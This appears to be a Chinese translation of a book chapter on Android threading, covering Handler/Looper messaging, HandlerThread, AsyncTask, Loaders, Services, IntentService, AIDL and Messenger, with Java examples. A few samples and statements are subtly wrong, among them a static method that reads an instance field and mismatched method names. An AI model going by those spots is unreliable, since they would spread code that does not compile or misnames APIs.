让我们看看这在 Java 框架中意味着什么。Java 使用监视器的概念:每个对象都有一个监视器,线程可以锁定和解锁它。监视器确保一次只有一个锁定。任何其他锁定尝试都会被排队。这些操作在低级代码中,可以使用特殊类来显式调用对象的锁定或解锁,但 Java 提供了一个特殊的关键字来完成同样的操作:synchronized。它可以作为语句使用,也可以用来声明同步方法的签名。在第一种情况下,你需要指定需要锁定哪个对象以及哪些代码受到锁的影响:

synchronized (object) {
    //code...
}

这样,在括号内的代码执行完毕之前,其他线程无法访问该对象。开发者必须了解所谓的死锁。当两个或更多线程相互锁定等待对方时,这种情况就会发生,然后这些线程将永远被阻塞。当使用带有交叉引用锁定的synchronized关键字时,可能会发生这种情况;这种条件必须被避免。

同步方法的目标是锁定该方法引用的对象:

public synchronized void update() {
    //code...
}

Android 多线程环境

Android 平台从 Linux 继承了进程和线程系统。系统至少为不同的应用程序生成一个进程,每个进程都有其线程。在处理内存时我们已经讨论过进程。让我们分析它们是什么以及如何管理它们:这有助于理解如何处理应用程序的线程和组件。

进程

在 Android 中,进程是主要组件(如活动、服务、广播接收器和内容提供者)的容器。因此,每个进程都会影响内存,如果系统在这方面处于关键状态,它会开始销毁这些进程。系统通过使用最近最少使用LRU)策略来完成这个操作:在需要时,首先销毁最近最少使用的对象以释放内存。为此设计了一个优先级系统:在其生命周期中,进程可以是以下几种状态之一:

  • 前台:如果一个进程正在托管用户正在与之交互的组件,那么它是前台进程。此时,该进程位于堆栈顶部。

  • 可见:如果一个进程不是前台进程,但它仍然可以被用户看到,那么它是可见的。

  • 服务:这是一个仅包含刚刚启动的服务进程。

  • 后台:这包含不再对用户可见的组件。

  • :这样的进程不包括任何组件。它用于缓存目的,以加快未来应用程序的恢复速度。它位于堆栈底部;当系统回收内存时,它会首先被丢弃。

当应用程序首次启动时,会创建一个默认进程,并且其所有组件都在该进程中执行。然而,我们可以通过在清单文件中使用特定属性来处理应用程序的组件,为每个组件强制创建新进程,或者让它们加入同一个自定义进程。

<service
    android:name=".MyService"
    android:process=".MyProcess">
</service>

只需要指定进程的名称。当名称以冒号开头时,该进程是应用程序私有的。当以小写字母开头时,该进程可以与其他应用程序共享。

安卓应用程序线程

本章前面讨论的关于线程的内容在 Android 系统中同样适用:当应用程序启动时,会创建一个新的主线程,并且其代码按顺序执行。从该线程,我们可以启动新线程来进行后台操作。为应用程序创建的任何其他线程都被称为后台线程工作线程。另一种类型的线程是 Binder 线程,用于进程间的通信。

UI 线程

了解主线程是唯一可以管理用户界面的线程至关重要。这就是它也被称作 UI 线程的原因。UI 线程的生命周期与应用程序和进程的生命周期相同,因为需要有一个线程能够随时让用户进行交互。然而,为什么会有这样一个严格的要求?为什么不能在 UI 线程外部访问视图呢?因为 Android UI 不是线程安全的,如果视图可以被不同的线程访问和修改,那么在应用程序执行期间可能会出现不可预期的行为和并发错误。

这一选择是为了加快 UI 的响应速度,因为对对象进行加锁和解锁操作是昂贵的,这会影响到 Android 的用户体验,仅仅是为了让开发者能够从多个线程访问视图。因此,平台强制要求只能从主线程访问 UI。这意味着无需同步视图,因为它们只能由 UI 线程访问。所以,在代码结构中加入同步是多余的。实际上,每当后台线程尝试访问视图实例时,都会抛出以下异常:

CalledFromWrongThreadException: Only the original thread that created a view hierarchy can touch its views

工作线程

在 Android 平台中另一个需要注意的方面是,主线程不仅负责 UI,而且应当只做这件事:任何不必要的 UI 操作都应该在不同的线程中完成,以保持 UI 的流畅,进而提供良好的用户体验,这是工作线程的主要目标。它们用于执行可能影响 UI 的长时间运行的操作。更重要的是,如果这些操作在 UI 线程中执行,它们可能会让 UI 冻结直到操作结束。这可能导致所谓的应用无响应对话框的出现。当 UI 被阻塞时,系统会向用户显示这个对话框,告知应用无响应,并询问用户是否关闭应用。这对用户体验来说非常糟糕,对性能来说则是灾难。我们将了解 Android 提供了哪些结构来达到我们希望应用拥有的响应性。

Binder 线程

当我们需要来自不同进程的不同线程进行通信时,我们不能使用标准代码,而需要一些更高级的技术来实现。Android 平台使用 Binder 线程让来自不同进程的线程进行通信。这种线程简化了进程间通信,我们将在后续页面中看到这一点。不过,我们不需要直接处理 Binder 线程。有一种特定的语言允许我们在进程间交换数据,称为Android 接口定义语言AIDL)。

Android 线程消息传递

让我们来看看处理应用中线程间通信的框架。一些对象参与了消息传递操作,它们如下:

  • MessageRunnable对象:它们是用于线程间通信和发送的对象。

  • MessageQueue:这是一个待处理的有序消息和可运行对象的容器。

  • Looper:这是将MessageRunnable对象分派给正确Handler对象的对象。

  • Handler:这是MessageRunnable对象的来源,也是Looper的接收者。因此,它具有双重责任,即将消息和可运行对象放入MessageQueue,并在Looper将它们送回时执行它们。这里的奥秘在于:发送操作是在发送线程上进行的,而执行操作是在接收线程上进行的。因此,实现了不同线程之间的通信。

图 2展示了这些对象之间主要的关系:

Android 线程消息传递

图 2:两个线程之间的消息传递过程

并非所有线程都有Looper。相反,只有主线程有自己的Looper。这意味着如果你想让两个线程进行通信,需要为该通信分配一个Looper对象并创建MessageQueue。这可以通过在Thread.run()中调用静态的Looper.prepare()方法来完成。现在我们有了MessageQueueLooper,我们需要这个Looper开始向Handler分派消息和可运行对象。这可以通过调用静态的Looper.loop()方法来完成。以下是展示所说内容的代码片段:

public class LooperThread extends Thread {
    public Handler mHandler;

    public void run() {
        Looper.prepare();
        mHandler = new Handler() {
            public void handleMessage(Message msg) {
                // code…
            }
        };
        Looper.loop();
    }
}

现在,让我们看看Handler对象是如何工作的,以及它可以如何发送消息和可运行对象。Handler对象在构造时需要与一个Looper相关联。然后空的Handler构造函数将与创建它的线程的Looper关联。以下只有在主线程中或调用后台线程的Looper.prepare()方法之后,才能实例化处理器:

Handler mHandler = new Handler();

这就是为什么如果不这样做,将会抛出RuntimeException,应用程序将在堆栈跟踪中显示以下消息后崩溃:

java.lang.RuntimeException: Can't create handler inside thread that has not called Looper.prepare()

从操作的角度来看,Handler通过以下方法将消息和可运行对象发送到MessageQueue

  • post(Runnable r)

  • sendEmptyMessage(int what)

  • sendMessage(Message m)

这三个都有指定特定执行时间或延迟的可能性,而Handler可以使用以下方法从MessageQueue中移除它们:

  • removeCallbacks(Runnable r)

  • removeMessages(int what)

  • removeCallbacksAndMessages(Object token)

Runnable对象包含要执行的代码时,消息应该由Handler使用Handler.handleMessage()方法处理,该方法提供了Message本身。

最佳实践

携带线程概念,让我们通过代码了解谷歌是如何改进从 Java 继承的多线程框架的,以及 Android 平台为开发者提供了哪些 API 来处理 UI 线程与工作线程之间的主要问题。我们还将看到由此可能产生的问题以及 Android 在其开发过程中引入的解决方案。

然后,我们将处理高级技术以管理主要组件和 AIDL 以及跨进程通信的 Messenger。

线程

标准的 Java 线程是我们将在以下页面中看到的其他框架的基础。它们包装线程或可运行对象以实现一些平台要求,如与 UI 线程的通信。对于不需要通知 UI 线程的简短后台操作,它们仍然是轻量级的解决方案。

提示

作为使用线程时需要遵守的一般规则,避免在循环内进行同步,因为获取和释放锁是一个昂贵的操作。然后,这可能导致时间增加和资源的无谓消耗。

HandlerThread

在典型的应用程序开发中,我们处理线程和处理器,有时我们会忘记准备在后台线程上处理消息所需的内容。这就是为什么 Android 提供了一个有用的Thread子类,它包装了线程本身、LooperMessageQueue。这就是HandlerThread,它会自行准备Looper。这样开发者就不需要手动准备。此外,如果需要更多的初始化,我们可以在HandlerThread.onLooperPrepared()方法中进行:这样我们就知道Looper.prepare()已经被调用,且HandlerThread.getLooper()的返回结果不会为 null。

让我们来看以下代码片段:

public class HandlerThreadActivity extends Activity {

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        MyHandlerThread handlerThread = new MyHandlerThread("HandlerThread");
        handlerThread.start();
    }

    private class MyHandlerThread extends HandlerThread {
        private Handler handler;

        public MyHandlerThread(String name) {
            super(name);
        }

        @Override
        protected void onLooperPrepared() {
            handler = new Handler(getLooper()) {
                @Override
                public void handleMessage(Message msg) {
                    //code...
                }
            };
        }

        public void post(Runnable r) {
            handler.post(r);
        }
    }
}

与经典线程不同,HandlerThread可以被复用,因为它会保持活动状态,直到调用HandlerThread.quit()方法。这个特殊的方法会终止Looper,使其无法再处理消息和可运行对象。之后发送的任何MessageRunnable都会失败,MessageQueue会被清空。该方法将强制挂起的消息和可运行对象退出,它们不会再被分派给Handler。为确保没有挂起的消息被终止和分派,请使用HandlerThread.quitSafely()方法。当调用这些方法之一时,HandlerThread对象将不能再使用,因为线程已经执行完毕。

何时使用

HandlerThread通过LooperMessageQueue保持线程存活,并提供可控的消息处理。因此,当我们需要一个始终可用的线程时,使用它是很好的选择。

提示

当处理多个线程之间的消息传递时,HandlerThread是一个很好的选择,可以将Looper的管理委托给它。它还可以被复用于多个消息和可运行对象。但是,请记住,在不再需要时退出,以释放资源。

AsyncTask

如先前讨论的,从多线程的角度来看,开发者主要的目标是尽可能让 UI 线程从可以在并行线程中执行的操作中解脱出来,以保持用户界面的流畅。从一开始,开发者可以使用的主要工具就是AsyncTask。它不是一个线程框架,只是一个辅助类,用于让工作线程与 UI 线程通信。

AsyncTask对象只能启动一次,就像Thread一样。它可以在 UI 线程中创建、加载和启动。AsyncTask的子类可以覆盖以下方法:

public class MyAsyncTask extends AsyncTask<Params, Progress, Result> {
    @Override
    protected void onPreExecute() {}

    @Override
    protected Result doInBackground(Params... p) {return result;}

    @Override
    protected void onProgressUpdate(Progress... values) {}

    @Override
    protected void onPostExecute(Result result) {}

    @Override
    protected void onCancelled() {}
}

考虑到这一点,让我们了解这意味着什么。

方法

在前面提到的方法中,只有AsyncTask.doInBackground()是抽象的,并在工作线程中执行。其他方法如果需要可以覆盖,并具有以下目的:

  • onPreExecute(): 在开始后台工作之前调用。它用于通知用户后台正在发生某些操作。

  • onProgressUpdate(): 这用于在从工作线程收到一些更新后更新 UI。

  • onPostExecute(): 这处理来自工作线程的结果。

  • onCancelled(): 这用于在 UI 线程上处理AsyncTask的取消。

泛型参数

类签名中的泛型是为了指定以下内容:

  • Params: 这是AsyncTask.doInBackground()期望的输入类型。

  • Progress: 这是用来通知AsyncTask.onProgressUpdate()更新的类型。

  • Result: 这是AsyncTaskdoInBackground()方法的返回结果,也是AsyncTask.onPostExecute()的输入。

状态管理

一个AsyncTask对象可以经历三个连续的AsyncTask.Status

  • PENDING: 开始前

  • RUNNING: 执行中

  • FINISHED: 在AsyncTask.onPostExecute()完成之后

Executor

每当需要执行AsyncTask时,都必须提供一个Executor对象。AsyncTask有两种默认执行方式。如下所示:

  • SERIAL_EXECUTOR: 这会一次完成所有任务,并按照顺序执行。

  • THREAD_POOL_EXECUTOR: 这会并行执行任务。

有三种方法可以启动AsyncTask的执行:

  • execute(Params): 这会将任务添加到SERIAL_EXECUTOR的队列中。

  • execute(Runnable): 这是一个静态方法,用于使用SERIAL_EXECUTOR执行Runnable对象。

  • executeOnExecutor(Executor, Params): 这允许你指定想要使用的Executor对象。

这是性能的关键部分,因为工作线程的执行取决于所使用的特定执行器;如果队列已满且任务运行时间较长,串行执行可能会导致意外的延迟。另一方面,默认的并行执行是全局的:因此,线程池中的线程在多个应用程序之间共享。作为替代方案,我们可以创建自己的执行器,以在AsyncTask.executeOnExecutor()方法中使用。为此,有一个Factory类可以创建执行器。这个类叫做Executors,其方法如下:

  • newCachedThreadPool(): 这首先检查是否有可用的线程,如果没有,它会创建一个新的线程并将其缓存以供未来请求使用。

  • newFixedThreadPool(): 这与缓存情况相同,但线程数量是固定的。

  • newScheduledThreadPool(): 这会创建一个可以安排线程在定义的时间执行任务的执行器。

  • newSingleThreadExecutor(): 这会创建一个单线程执行器

  • newSingleThreadScheduledExecutor(): 这会创建一个具有单个线程的执行器,可以安排在定义的时间执行。

这样,我们可以创建并重用私有的线程池,作为单例或者在Application类中使用。例如:

public class ApplicationExecutor extends Application {
    private Executor executor;

    public static Executor getExecutor() {
        if (executor == null)
            executor = Executors.newCachedThreadPool();
        return executor;
    }
}

使用时机

AsyncTask的目标是让工作线程与 UI 线程通信。那么,如果我们的后台操作不需要通知用户,或者一般而言,不需要更新 UI,那么就没有必要使用AsyncTask:一个线程就足够了,而且比AsyncTask性能更好。

提示

如果你使用的是带有所有 void 参数的AsyncTask,或者只实现了AsyncTask.doInBackground()方法,那么你不需要AsyncTask。将实现更改为经典线程,因为 UI 不会通过AsyncTask改变。

除了这种情况,AsyncTask实现由于Activity生命周期面临一些问题。它经常作为Activity内的内部类使用。然后,如第四章 Memory 所讨论的,内存泄漏很容易发生。除此之外,它在Activity内部使用,当由于配置更改而销毁Activity的实例时,AsyncTask仍然活跃并运行,但 UI 引用不再可用。然后,当Activity被销毁并重新创建时,需要将AsyncTask的结果数据缓存到某处。否则,必须再次执行AsyncTask

Loaders

了解到AsyncTask的限制,Android 开始提供加载器框架,在某些情况下作为AsyncTask的有效替代。让我们看看加载器提供了什么。

它们处理异步操作,例如从远程服务器检索数据,然后触发回调通知调用者有新数据可用。调用者可能是活动或片段。加载器与生命周期无关:无论ActivityFragment在配置更改后是否被销毁并重新创建,它仍然在后台运行并通知新创建的ActivityFragment实例。此外,如果在配置更改之前后台工作已完成,加载器将缓存后台产生的数据,无论如何通知新实例。这种与活动生命周期无关的特殊功能意味着加载器与活动本身之间没有连接:因此,加载器使用应用程序上下文,降低了活动泄漏的风险。

LoaderManager

每个ActivityFragment都有一个且仅有一个LoaderManager。可以通过以下ActivityFragment的方法来获取:

getLoaderManager();

LoaderManager类处理一些关于加载器的操作,如下方法所述:

  • initLoader(int id, Bundle args, LoaderCallbacks<D> cb):这初始化一个加载器,为其分配一个 ID,传递额外的参数,并指定如何处理回调。如果已经存在具有相同 ID 的加载器,它将被使用,而不是创建另一个。

  • restartLoader(int id, Bundle args, LoaderCallbacks<D> cb):这将会重新启动一个加载器,如果指定的 ID 没有关联的加载器,则创建一个新的加载器,传递额外的参数和回调实例以处理响应。

  • getLoader(int id):这返回具有指定 ID 的加载器。

  • destroyLoader(int id):这停止具有指定 ID 的加载器。

LoaderCallbacks

用于处理加载器操作结果的回调接口是由以下方法组成的:

  • onCreateLoader(int id, Bundle args):这返回一个新的加载器。

  • onLoadFinished(Loader<D> loader, D data):这通知加载器完成了后台操作,并将结果传递出去。

  • onLoaderReset(Loader<D> loader):这通知加载器已被重置,数据不再可用。

提供的加载器

使用加载器时,我们需要使用CursorLoader或创建加载器的子类或其他一些加载器专业化,如AsyncTaskLoader。让我们看看这些选项和区别。

AsyncTaskLoader

这个加载器用于使用包装的AsyncTask进行后台工作,我们知道,它处理通过工作者线程和 UI 线程的数据传递。然而,它是一个抽象类,因为我们需要覆盖AsyncTaskLoader.loadInBackground()方法,告诉类哪些操作必须在工作者线程内执行:

public class MyAsyncTaskLoader extends AsyncTaskLoader<Result>{

    @Override
    public Result loadInBackground() {
        //code...
        return result;
    }
}

因此,AsyncTaskLoader可以用于ActivityFragment类所需的每个后台操作。

CursorLoader

CursorLoader 是一个专门用于从ContentProvider检索数据的工具,因此,如果没有ContentProvider来存储数据,这不是使用加载器的正确选择。然而,它是AsyncTaskLoader<Cursor>的一个实现。那么,它有助于在工作者线程中查询ContentProvider,而不会影响 UI。它旨在与CursorAdapterSimpleCursorAdapter一起使用,以简化活动开发:例如,看看以下代码段:

public class CursorLoaderActivity extends ListActivity implements LoaderManager.LoaderCallbacks<Cursor>{
    private static final int CURSOR_LOADER_ID = 0;
    private SimpleCursorAdapter simpleCursorAdapter;

    public void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        simpleCursorAdapter = new SimpleCursorAdapter(this,
                android.R.layout.simple_list_item_1, null,
                new String[] { "name" },
                new int[] { android.R.id.text1}, 0);
        setListAdapter(simpleCursorAdapter);
        getLoaderManager().initLoader(CURSOR_LOADER_ID, null, this);
    }

    @Override
    public Loader<Cursor> onCreateLoader(int id, Bundle args) {
        return new CursorLoader(this, URI, null, null, null, "name ASC");
    }

    @Override
    public void onLoadFinished(Loader<Cursor> loader, Cursor c) {
        simpleCursorAdapter.swapCursor(c);
    }

    @Override
    public void onLoaderReset(Loader<Cursor> loader) {
        simpleCursorAdapter.swapCursor(null);
    }
}

使用时机

加载器框架增强了AsyncTask的功能,使我们不必担心活动或片段的生命周期,并为我们缓存数据。因此,它是使用AsyncTask的有效替代方案。然而,加载器的管理比AsyncTask更容易。在光标情况下的专业化也易于使用。

注意

当我们需要获取数据时,AsyncTaskLoader是一个正确的选择:它提供了AsyncTask的相同功能,加上活动生命周期的独立性和数据缓存。因此,在应用程序的响应性和稳定性方面有性能提升。

服务

服务是 Android 平台提供的主要组件之一,因此您需要在清单文件中声明它。与活动不同,服务没有 UI 要处理。然后,其主要目的是在后台执行长时间运行的操作。但是,我们需要另一种创建和控制工作线程的方法吗?

想想我们在前面几页看到的所有其他方式:它们依赖于 UI 更新的活动生命周期。而且,这里出现了服务。它是一个独立的对象,可以在没有限制和用户交互的情况下在后台使用,然后,不需要用户界面。因此,不需要与用户交互的大量操作可以在服务中执行。

提示

在处理服务时需要记住的最重要的事情是,它们不是线程,相反,它们默认在 UI 线程上执行。因此,在创建新线程之前,永远不要在服务中启动长时间运行的操作:它会影响应用程序的所有 UI。然后,当用户在 UI 上执行其他操作时,可能会显示一个应用程序无响应对话框。

生命周期

作为活动,服务有两个方法来标识其创建和销毁。此外,这些方法与活动的名称相同:

public class LocalService extends Service {

    @Override
    public void onCreate() {
        super.onCreate();
    }

    @Override
    public IBinder onBind(Intent intent) {
        return null;
    }

    @Override
    public int onStartCommand(Intent intent, int flags, int startId) {
        return super.onStartCommand(intent, flags, startId);
    }

    @Override
    public boolean onUnbind(Intent intent) {
        return super.onUnbind(intent);
    }

    @Override
    public void onDestroy() {
        super.onDestroy();
    }
}

Service类是抽象的,唯一需要覆盖的方法是Service.onBind()。但是,它是用来做什么的呢?让我们从生命周期的角度定义两种类型的服务:

  • 启动服务:使用Context.startService()方法或Intent启动服务,并且它将一直保持活跃状态,直到调用了Context.stopService()Service.stopSelf()方法。

  • 绑定服务:当另一个组件请求与它绑定时,服务开始启动,并且只要至少有一个外部组件与之绑定,它就会保持活跃状态。当不再绑定到其他组件时,它将被销毁。

由于启动的服务在其生命周期中的任何时刻都可能被绑定,因此两者之间没有明确的界限。然而,即使所有其他绑定的组件都消失了,它仍然会保持活跃状态。

启动服务

当我们想要创建一个启动服务时,无论如何都必须覆盖Service.onBind()方法,因为它是一个抽象方法。因此,如果我们不希望它被绑定,可以将其留空,返回 null。接下来我们将看到如何绑定服务。相反,我们需要覆盖的是Service.onStartCommand()方法。这个方法有三个参数:

  • Intent intent:这是在调用Context.startService()方法时向服务提供额外信息的方式。

  • int flags:用于确定传递的意图类型。我们将在本节后面看到它。

  • int startId:这是调用者的 ID。它可以用来判断是否从同一组件重新启动或终止后重新启动。

我们已经知道系统可以根据进程优先级基于策略开始销毁进程。在这种情况下,我们的服务可能会被终止,它正在执行的背景操作可能不会完成。这就是为什么Service.onStartCommand()方法需要返回一个整数值的原因。这样我们可以指定我们希望系统处理服务本身意外终止的方式。该方法可能返回的值如下:

  • START_STICKY:使用此标志,在终止后服务将被重新创建。为了重新创建,系统会发送一个 null Intent。在Service.onStartCommand()方法中使用它之前,检查是否为 null。当服务在意外终止后需要重新启动以完成一些工作时,考虑使用它。

  • START_NOT_STICKY:除非通过正常的Context.startService()方法调用新的Intent类或新的IntentService IntentFilter匹配,否则服务在意外终止后不会被重新创建。然后,不会有 null 意图被触发到方法中。当服务在意外终止时不需要重新启动以完成某些工作时使用。

  • START_REDELIVER_INTENT:当服务因调用Service.stopSelf()方法或Context.stopService()以外的其他原因而终止时,服务将使用最后一次调用Service.onStartCommand()方法的意图重新启动。当我们需要知道哪个操作因终止而中断时使用。

根据采用重启服务的策略使用前面的常量,作为Service.onStartCommand()参数传递的Intent可能有不同的含义。让我们看看可能的值:

  • 0:这是默认值,意图通常像第一次一样传递。

  • START_FLAG_REDELIVERY:由于重传策略,Intent类已被重新传递。它之前已经被赋予过,但在处理之后,服务意外停止了。因此,意图再次传递,此标志有助于了解这一事实。

  • START_FLAG_RETRY:意图即将传递给服务,但已被终止,然后再次传递此标志的意图。这一次,我们可以知道服务从未处理过意图,与之前的情况相反。

让我们看看一个启动服务的实现示例。记住它是在 UI 线程上执行的,然后我们需要创建必要的线程来运行长时间运行的操作,以不影响 UI,并且不要忘记从第四章,内存关于内部类和内存影响的教训:

public class MyService extends Service {
    private Thread thread;

    @Nullable
    @Override
    public IBinder onBind(Intent intent) {
        return null;
    }

    @Override
    public int onStartCommand(Intent intent, int flags, int startId) {
        switch (intent.getAction()) {
            case "action1":
                handleAction1();
                break;
        }
        return START_NOT_STICKY;
    }

    private void handleAction1() {
        thread = new Thread(new MyRunnable());
        thread.start();
    }

    private static class MyRunnable implements Runnable {

        @Override
        public void run() {
            //code...
        }
    }
}

在这个例子中,我们使用了经典线程,但对于不同线程之间的通信,我们可以根据需要使用HandlerHandlerThread对象或Executor框架或AsyncTask

何时使用

启动的服务有助于处理多个同时请求。你将不得不设计你的多线程策略,因为它是在 UI 线程中执行的,但从线程的角度来看,这是最灵活的组件。

绑定服务

在谈到绑定服务时,我们需要定义一个客户端和一个服务器端。服务是这种客户端服务器架构中的服务器,而活动或其他服务则是客户端。因此,我们需要一个接口来让它们正确地通信。平台提供了Context.bindService()方法。

如前所述,绑定服务持有对客户端的引用,当不再有客户端被引用时,服务会自动终止。当我们需要在多个活动之间共享后台操作,而无需关闭服务时,这种行为非常有用,因为它会自动终止。

从服务器客户端的角度来看,绑定服务生命周期仅由两个方法组成:

  • Service.onBind()

  • Service.onUnbind()

与普遍看法相反,这些方法并不是每次服务绑定到客户端或从同一客户端解绑时都会被调用;Service.onBind()方法只在第一个客户端时被调用,而Service.onUnbind()方法在最后一个客户端解绑时被调用。因此,这些方法用于初始化和释放Service对象或变量。

为了让客户端和服务器端进行通信而创建的接口,在客户端使用了ServiceConnection接口的一个实例,在服务器端使用了绑定器。让我们看看这在两者的代码中意味着什么。以下是Service类的代码:

public class MyService extends Service {
    private final ServiceBinder binder = new ServiceBinder();

    public class ServiceBinder extends Binder {

        public MyService getService() {
            return MyService.this;
        }
    }

    @Nullable
    @Override
    public IBinder onBind(Intent intent) {
        return binder;
    }
}

返回我们的ServiceBinder对象,它有一个获取对Service类本身引用的方法,我们允许客户端获取对该引用的引用,然后调用其方法。现在让我们看看客户端的代码:

public class ClientActivity extends Activity {
    private MyService myService;
    private ServerServiceConnection serverServiceConnection = new ServerServiceConnection();
    private boolean isBound = false;

    private class ServerServiceConnection implements ServiceConnection {

        @Override
        public void onServiceConnected(ComponentName name, IBinder service) {
            myService = ((MyService.ServiceBinder) service).getService();
            isBound = true;
        }

        @Override
        public void onServiceDisconnected(ComponentName name) {
            myService = null;
            isBound = false;
        }
    }

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        Intent intent = new Intent(this, MyService.class);
        bindService(intent, serverServiceConnection, Service.BIND_AUTO_CREATE);
    }

    @Override
    protected void onDestroy() {
        super.onDestroy();
        if (isBound) {
            unbindService(serverServiceConnection);
        }
    }
}

ServiceConnection.onServiceConnected()方法有一个IBinder作为参数,然后,我们可以将其转换为在Service类中定义的ServiceBinder,并通过我们定义的ServiceBinder.getService()方法来获取服务本身。

这样我们就可以在活动中使用myService对象来调用服务的方法。当不再需要该引用时,记得调用Context.unbindService()方法。

何时使用

如果你需要一个组件与服务之间的直接通信,绑定服务是正确的选择,因为它将启动服务的灵活性扩展到另一个组件,同时保持两个绑定组件实现的分离。

IntentService

平台提供的一个特定服务实现是IntentService类。在某些情况下它非常有用,原因我们将会了解到。这个类包装了一个后台线程,以执行与其队列中与意图相关的不同请求。当队列变空时,IntentService类会自动销毁。因此,它具有与Service类不同的生命周期。它仅在后台线程中运行时处于活动状态。了解了这一点,让我们看看ServiceIntentService之间的区别:

  • Service.onStartCommand()方法的默认实现返回Service.START_NOT_STICKY。因此,如果服务意外终止,将不会重新传递意图。不过,我们可以使用Service.setIntentRedelivery()方法来更改此行为。

  • 由于其生命周期,不可能绑定这样的服务。因此,没有可能为此创建 Binder,并且Service.onBind()方法的默认实现是返回 null。

  • 与其使用System.onStartCommand()方法来处理传入的意图,该类提供了IntentService.handleIntent()方法。这个方法在后台线程中执行;因此,在这种情况下,无需创建工作线程。该类为我们处理线程的创建和管理。这种线程管理是使用HandlerThread完成的;这就是为什么会有一个顺序执行消息和 runnables 的队列。

  • 如前所述,IntentService类不能被绑定,因此启动它的方式只能是使用Context.startService()方法。

IntentService类的代码如下所示:

public class MyService extends IntentService {

    public MyService() {
        super("MyService");
    }

    @Override
    protected void onHandleIntent(Intent intent) {
        switch (intent.getAction()) {
            case "action1":
                handleAction1();
                break;
        }
    }

    private void handleAction1() {
        //code...
    }
}

何时使用

当你需要在一个单独的线程中在后台执行顺序操作,并且不需要处理Service的生命周期时,IntentService类是正确的选择:它提供了进行异步操作所需的一切,而不会影响 UI。

进程间通信

两个来自不同进程的线程之间的通信并不像前一个案例那么简单,因为两个独立的进程不能共享内存,因此Handler对象无法在两个线程上执行。在这种情况下,我们之前讨论的 Binder 线程帮助我们让在不同进程中的线程进行通信。

远程过程调用

框架让我们定义远程过程调用RPC),它允许本地进程中的客户端线程像调用本地方法一样调用远程方法。图 3展示了这意味着什么:

远程过程调用

图 3:远程过程调用方案

适当的流程如下:

  1. 客户端调用服务器方法。

  2. 数据和方法被转换成适合传输的格式。这项操作也被称为编组(marshaling)。

  3. 通过 Binder 线程,传输数据和方法。

  4. 数据和方法通过解编(demarshaling)转换回原始格式。

  5. 服务器端用数据执行方法,并为客户端原路返回准备结果。

需要在进程间传递的数据必须实现 Parcelable 接口。

AIDL

RPC 可以使用一种特殊的语言定义,称为Android 接口定义语言AIDL)。客户端和服务器之间的接口在.aidl文件中定义,其内容在客户端和服务器进程中被复制。编组(marshaling)和解编组(demarshaling)操作被委托给两个特殊的内部类,客户端侧称为Proxy,服务器侧称为Stub。在这种情况下,图 3的方案变成了图 4的方案:

AIDL

图 4:Android 接口定义语言方案

要使用这种语言,你需要在.aidl文件中定义带有方法签名的接口。例如,查看以下在.aidl文件中的声明:

interface IRemoteInterface {
    boolean sendResult(in Result result);
}

然后,这将转换成一个.java文件,并在进程间共享。因此,RemoteService类可以以这种方式拥有其存根的实例:

public class RemoteService extends Service {
    private final IRemoteInterface.Stub binder = new IRemoteInterface.Stub() {
        @Override
        public boolean sendResult(Result result) throws RemoteException {
            return false;
        }
    };

    public RemoteService() {
    }

    @Override
    public IBinder onBind(Intent intent) {
        return binder;
    }
}

此外,最后,客户端活动可以绑定远程服务,并按以下方式调用接口的方法:

public class AidlActivity extends Activity implements View.OnClickListener{
    private boolean bound = false;
    private IRemoteInterface mIRemoteService;
    private ServiceConnection mConnection = new ServiceConnection() {
        public void onServiceConnected(ComponentName className, IBinder service) {
            mIRemoteService = IRemoteInterface.Stub.asInterface(service);
            bound = true;
        }

        public void onServiceDisconnected(ComponentName className)
{
            mIRemoteService = null;
            bound = false;
        }
    };

    @Override
    protected void onStart() {
        super.onStart();
        Intent intent = new Intent(AidlActivity.this, RemoteService.class);
        intent.setAction(IRemoteInterface.class.getName());
        bindService(intent, mConnection, Context.BIND_AUTO_CREATE);
    }

    @Override
    public void onClick(View v) {
        if (bound) {
            try {
                mIRemoteService.sendResult(result);
            } catch (RemoteException e) {
                e.printStackTrace();
            }
        }
    }
}

Messenger

另一种将方法和数据发送到远程进程的方法是使用Messenger对象。它更简单,但是单线程的,因此较慢。Messenger对象有一个指向一个进程中Handler对象的引用,然后另一个进程处理它。让我们从远程服务的代码开始:

public class RemoteService extends Service {
    MyThread thread;
    Messenger messenger;

    @Override
    public void onCreate() {
        super.onCreate();
        thread.start();
    }

    private void onThreadPrepared() {
        messenger = new Messenger(thread.handler);
    }

    public IBinder onBind(Intent intent) {
        return messenger.getBinder();
    }

    @Override
    public void onDestroy() {
        super.onDestroy();
        thread.quit();
    }

    private class MyThread extends Thread {
        Handler handler;

        @Override
        public void run() {
            Looper.prepare();
            handler = new Handler() {

                @Override
                public void handleMessage(Message msg) {
                    // Implement message processing
                }
            };
            onThreadPrepared();
            Looper.loop();
        }

        public void quit() {
            handler.getLooper().quit();
        }
    }
}

然后,客户端Activity使用Messenger对象来发送消息:

public class MessengerActivity extends Activity implements View.OnClickListener {
    private boolean bound = false;
    private Messenger remoteService = null;
    private ServiceConnection connection = new ServiceConnection()
{

        public void onServiceConnected(ComponentName className, IBinder service) {
            remoteService = new Messenger(service);
            bound = true;
        }

        public void onServiceDisconnected(ComponentName className)
{
            remoteService = null;
            bound = false;
        }
    };

    public void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        Intent intent = new Intent(action);
        bindService(intent, connection, Context.BIND_AUTO_CREATE);
    }

    @Override
    public void onClick(View v) {
        if (bound) {
            try {
                remoteService.send(message);
            } catch (RemoteException e) {
                e.printStackTrace();
            }
        }
    }
}

高级技术

我们到此为止了解了在 Android 应用程序中处理多线程的主要技术概览。现在我们想要看看有助于提高性能的高级技术,特别是在开发者不一定清楚多线程策略如何工作的情况下,将昂贵的操作从 UI 线程移动到工作线程。

BroadcastReceiver异步技术

BroadcastReceiver类是 Android 平台另一个主要组件。它与其他主要组件的区别在于其生命周期短暂。BroadcastReceiver类仅在执行BroadcastReceiver.onReceive()方法时处于活动状态。其主要用途是接收消息。因此,其生命周期短暂。然后,这个组件并非用于执行长时间运行的操作。然而,它非常适合用于启动后台任务,例如启动IntentService

public class MyReceiver extends BroadcastReceiver {

    @Override
    public void onReceive(Context context, Intent intent) {
        Intent sericeIntent = new Intent();
        sericeIntent.setClass(context, MyService.class);
        sericeIntent.setAction(MyService.ACTION);
        context.startService(sericeIntent);
    }
}

